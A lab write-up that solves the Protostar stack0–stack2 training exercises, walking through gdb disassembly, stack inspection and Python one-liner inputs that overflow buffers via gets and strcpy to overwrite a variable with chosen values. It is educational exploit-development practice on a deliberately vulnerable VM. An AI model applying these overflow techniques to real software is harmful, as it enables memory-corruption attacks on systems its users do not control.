April 3 Lab

[Stack 0]
Goal: print “you have changed the modified variable”

Run the file to look at the output. So we can see that it requires an user input.

```
user@protostar:/opt/protostar/bin$ ./stack0
jjjjjjjjjj
Try again?
user@protostar:/opt/protostar/bin$
```

Run the file in gdb mode, then use “disassemble main” to look at the assembly code. We can use “set disassembly-flavor intel” to configure the instruction display style.

```
user@protostar:/opt/protostar/bin$ gdb stack0
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) set disassembly-flavor intel
(gdb) diassemble main
Undefined command: "diassemble".  Try "help".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.
(gdb)
```

From the assembly output, we can observe that it is getting the user input to compare with the data stored at location esp+0x5c. So we set the breakpoint at the call “get” and the instruction after that.

```
(gdb) b *0x0804840c
Breakpoint 3 at 0x804840c: file stack0/stack0.c, line 11.
(gdb) b *0x08048411
Breakpoint 4 at 0x8048411: file stack0/stack0.c, line 13.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0
```

Now we can use “x/wx $esp+0x5c” to see the value stored in the variable “modified”. And we give a user input of a long string of “A”. Then we will use “x/24wx $esp” to check the value on stack. If we can write to the location storing 0x00000000, we will be able to get the target output. So we will need (4+16*3+14) amount of A to write to that location. We will use python code to generate an user input and pipe it to the executable.

Enter: python -c ‘print “A” * (4+16*3+14)’ | /opt/protostar/bin/stack0

```
Breakpoint 3, 0x0804840c in main (argc=1, argv=0xbffff874) at stack0/stack0.c:11
11      in stack0/stack0.c
(gdb) x/wx $esp+0x5c
0xbffff7bc:     0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 4, main (argc=1, argv=0xbffff874) at stack0/stack0.c:13
13      in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff760:     0xbffff77c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffff770:     0xb7fd7ff4      0xb7ec6165      0xbffff788      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7b0:     0xb7ec6300      0xb7ff1040      0x0804845b      0x00000000
(gdb) ^Z
[1]+  Stopped                 gdb stack0
user@protostar:/opt/protostar/bin$ python -c 'print "A"*(4+16*3+14)'|/opt/protostar/bin/stack0
you have changed the 'modified' variable
user@protostar:/opt/protostar/bin$
```

[Stack 1]
Goal: print “you have correctly get the variable to the right value”

Run the file and look at the output, it prompts us that it requires an argument, so we give a random string then run it again.

```
user@protostar:/opt/protostar/bin$ ./stack1 jjjjjjjjj
Try again, you got 0x00000000
```

Run the file in gdb mode, then use “disassemble main” to look at the assembly code. We can use “set disassembly-flavor intel” to configure the instruction display style.

```
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
End of assembler dump.
(gdb)
```

We will set a breakpoint after user input is copied onto the stack. Then we will give a long string of “A” as user input and check the stack with “x/24wx $esp”. So the process is similar to stack 0, we will need to write 0x61626364 to 0x00000000 to make the if condition in the source code true.

Enter: ./stack1 “`python -c “ print ‘A’ * (4+16*3+12) + ‘\x64\x63\x62\x61’ “ `”

```
(gdb) b *0x080484a7
Breakpoint 1 at 0x80484a7: file stack1/stack1.c, line 18.
(gdb) r
Starting program: /opt/protostar/bin/stack1
stack1: please specify an argument


Program exited with code 01.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=2, argv=0xbffff854) at stack1/stack1.c:18
18      stack1/stack1.c: No such file or directory.
        in stack1/stack1.c
(gdb) x/wx $esp+0x5c
0xbffff79c:     0x00000000
(gdb) x/24wx $esp
0xbffff740:     0xbffff75c      0xbffff981      0xb7fff8f8      0xb7f0186e
0xbffff750:     0xb7fd7ff4      0xb7ec6165      0xbffff768      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0xb7004141      0xb7fd7ff4      0x080484f0      0xbffff7a8
0xbffff790:     0xb7ec6365      0xb7ff1040      0x080484fb      0x00000000
(gdb) ^Z
[2]+  Stopped                 gdb ./stack1
user@protostar:/opt/protostar/bin$ ./stack1 "`python -c "print 'A'*(4+16*3+12)+'\x64\x63\x62\x61'"`"
you have correctly got the variable to the right value
user@protostar:/opt/protostar/bin$
```

[Stack 2]
Goal: print “you have correctly modified the variable”

Run the file. It prompts us to set an environment variable.

```
user@protostar:/opt/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable
```

Set environment variable: export GREENIE=random_string
To check set up: echo $GREENIE
Then we run the file again and in gdb mode to check the instructions in main.

```
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048494 <main+0>:    push   ebp
0x08048495 <main+1>:    mov    ebp,esp
0x08048497 <main+3>:    and    esp,0xfffffff0
0x0804849a <main+6>:    sub    esp,0x60
0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
0x080484a9 <main+21>:   mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:   cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:   jne    0x80484c8 <main+52>
0x080484b4 <main+32>:   mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:   mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:   call   0x80483bc <errx@plt>
0x080484c8 <main+52>:   mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:   mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:   lea    eax,[esp+0x18]
0x080484dc <main+72>:   mov    DWORD PTR [esp],eax
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a
0x080484ed <main+89>:   jne    0x80484fd <main+105>
0x080484ef <main+91>:   mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:   call   0x80483cc <puts@plt>
0x080484fb <main+103>:  jmp    0x8048512 <main+126>
0x080484fd <main+105>:  mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:  mov    eax,0x8048641
0x08048506 <main+114>:  mov    DWORD PTR [esp+0x4],edx
0x0804850a <main+118>:  mov    DWORD PTR [esp],eax
0x0804850d <main+121>:  call   0x80483ac <printf@plt>
0x08048512 <main+126>:  leave
0x08048513 <main+127>:  ret
End of assembler dump.
```

This time we will set GREENIE to a long string of “A”, and set a breakpoint after the strcpy call that stores the return value of getenv onto stack. Then the process is similar to stack 0 and stack 1, we need to write 0x0d0a0d0a to 0x00000000 to change the control flow again.

```
user@protostar:/opt/protostar/bin$ export GREENIE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@protostar:/opt/protostar/bin$ gdb stack2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) b *0x080484e4
Breakpoint 1 at 0x80484e4: file stack2/stack2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack2

Breakpoint 1, main (argc=1, argv=0xbffff824) at stack2/stack2.c:22
22      stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) x/24wx $esp
0xbffff710:     0xbffff728      0xbffff9e6      0xb7fff8f8      0xb7f0186e
0xbffff720:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x00414141
0xbffff750:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff778
0xbffff760:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffff9e6
(gdb)
```

So we reset our environment variable again and run the file. We can set a breakpoint just to check it does write to that location.

Enter:

export GREENIE=”`python -c “ print ‘A’ * 16*4 + ’\x0a\x0d\x0a\x0d’ “ `”

./stack2

```
0xbffff760:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffff9e6
(gdb) ^Z
[6]+  Stopped                 gdb stack2
user@protostar:/opt/protostar/bin$ export GREENIE="`python -c "print 'A'*16*4+'\x0a\x0d\x0a\x0d'"`"
user@protostar:/opt/protostar/bin$ gdb stack2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) b *0x080484e4
Breakpoint 1 at 0x80484e4: file stack2/stack2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack2

Breakpoint 1, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22      stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) x/24wx $esp
0xbffff6f0:     0xbffff708      0xbffff9c9      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x0d0a0d0a      0xbffff900
(gdb) c
Continuing.
you have correctly modified the variable

Program exited with code 051.
(gdb)
```